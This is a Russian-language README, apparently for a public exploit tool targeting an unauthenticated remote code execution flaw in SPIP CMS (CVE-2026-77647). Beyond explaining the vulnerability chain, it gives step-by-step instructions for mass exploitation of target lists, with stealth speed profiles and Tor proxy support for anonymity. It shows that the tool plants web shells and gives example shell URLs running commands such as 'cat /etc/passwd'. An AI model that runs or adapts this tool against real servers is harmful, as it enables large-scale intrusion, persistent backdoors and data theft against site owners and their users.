CVE-2026-77647

SPIP до версии 4.4.20 позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код

🔴 CVE-2026-77647 — Неаутентифицированное удалённое выполнение кода в SPIP

Удалённое выполнение кода до аутентификации в SPIP CMS — все версии до 4.4.20

---

📋 Обзор

CVE-2026-77647 — это критическая уязвимость удалённого выполнения кода (RCE) без аутентификации, затрагивающая все версии SPIP CMS до 4.4.20.

Уязвимость позволяет удалённому злоумышленнику — без какой-либо аутентификации или взаимодействия с пользователем — выполнить произвольный PHP-код на целевом сервере. Начиная с августа 2026 года она активно эксплуатировалась в реальных атаках, что побудило команду SPIP выпустить экстренное исправление.

Этот инструмент автоматизирует обнаружение и эксплуатацию данной уязвимости на множестве целей с настраиваемой параллельностью.

---

🛡️ Сведения об уязвимости

Поле	Описание
CVE ID	CVE-2026-77647
Затронутое ПО	SPIP CMS
Затронутые версии	Все версии до 4.4.20
Тип	Удалённое выполнение кода (RCE) без аутентификации
CWE	CWE-94 — Некорректный контроль генерации кода (внедрение кода)
Оценка CVSS 3.1	9.8 / 10 — КРИТИЧЕСКАЯ
Вектор CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Аутентификация	Не требуется (до аутентификации)
Эксплуатация	Активно эксплуатируется в реальных атаках (август 2026)
Исправление	SPIP 4.4.20 (Рекомендация)

---

⚙️ Разбор CVSS 3.1

Метрика	Значение	Смысл
Вектор атаки	Сеть	Эксплуатируется удалённо через интернет
Сложность атаки	Низкая	Особые условия не требуются
Требуемые привилегии	Отсутствуют	Аутентификация не нужна
Взаимодействие с пользователем	Отсутствует	Действия жертвы не требуются
Область действия	Не изменяется	Воздействие ограничено уязвимой системой
Конфиденциальность	Высокая	Полный доступ на чтение всех данных
Целостность	Высокая	Полный доступ на запись / изменение
Доступность	Высокая	Возможен полный отказ в обслуживании

---

🔬 Технический анализ

Первопричина

Уязвимость возникает из-за двух взаимодействующих проблем в шаблонном движке SPIP:

1. Некорректное определение блоков <?php — шаблонный движок SPIP не выполняет должную очистку открывающих тегов PHP во входных данных, контролируемых пользователем, в частности в параметре поиска (recherche).

2. Неправильная обработка var_export — функция PHP var_export() некорректно обрабатывает определённые граничные случаи, особенно когда входные данные содержат символ <, что позволяет внедрить исполняемый PHP-код.

Цепочка эксплуатации

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

Злоумышленник отправляет специально сформированную полезную нагрузку через функцию поиска SPIP (?page=recherche&recherche=PAYLOAD). Полезная нагрузка использует механизм HTTP-заголовка X-Spip-Filtre для вызова html_entity_decode, который декодирует внедрённый PHP-код. Затем декодированный код вычисляется движком рендеринга шаблонов SPIP, что приводит к выполнению произвольного кода.

Схема атаки

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Использование

Требования

• Python 3.7+
• Библиотека requests

Установка

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Подготовка целей

Создайте файл с именем list.txt (или любым другим именем) с одной целью на строку:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Примечание: Цели без схемы (http:// или https://) по умолчанию будут использовать http://.

Запуск

python CVE-2026-77647.py

Интерактивная настройка

Инструмент запросит у вас:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

Скорость	Потоки	Таймаут	Профиль
1 — Медленно	5	25s	🔇 Скрытный
2 — Обычно	10	15s	⚖️ Сбалансированный
3 — Быстро	25	12s	⚡ Агрессивный
4 — Ультра	50	10s	🔥 Максимальный

[?] Proxy (blank = none): socks5://127.0.0.1:9050

Поддерживает прокси HTTP/HTTPS/SOCKS для анонимизации.

Вывод

Успешные результаты сохраняются в shells.txt:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Доступ к оболочке

Выполнение команд:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Интерфейс загрузки файлов:

https://target.com/Nx_.php?k=nXk

🎯 Возможности

• 🔍 Автоматическое определение версии SPIP через заголовок Composed-By и фингерпринтинг страниц
• 🛡️ Пропуск исправленных версий — автоматически пропускает SPIP ≥ 4.4.20
• 📝 Развёртывание двух шеллов — шелл для выполнения команд + шелл для загрузки файлов
• 📂 Запись по нескольким путям — попытки записи в корневую директорию, IMG/, tmp/ и local/
• ⚡ Многопоточное сканирование — настраиваемое число потоков от 5 до 50
• 🌐 Поддержка прокси — маршрутизация через HTTP, HTTPS и SOCKS прокси
• 📊 Статус в реальном времени — живой прогресс с цветным выводом в терминал
• 💾 Автосохранение результатов — все подтверждённые шеллы сохраняются в выходной файл

---

📚 Ссылки

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ Отказ от ответственности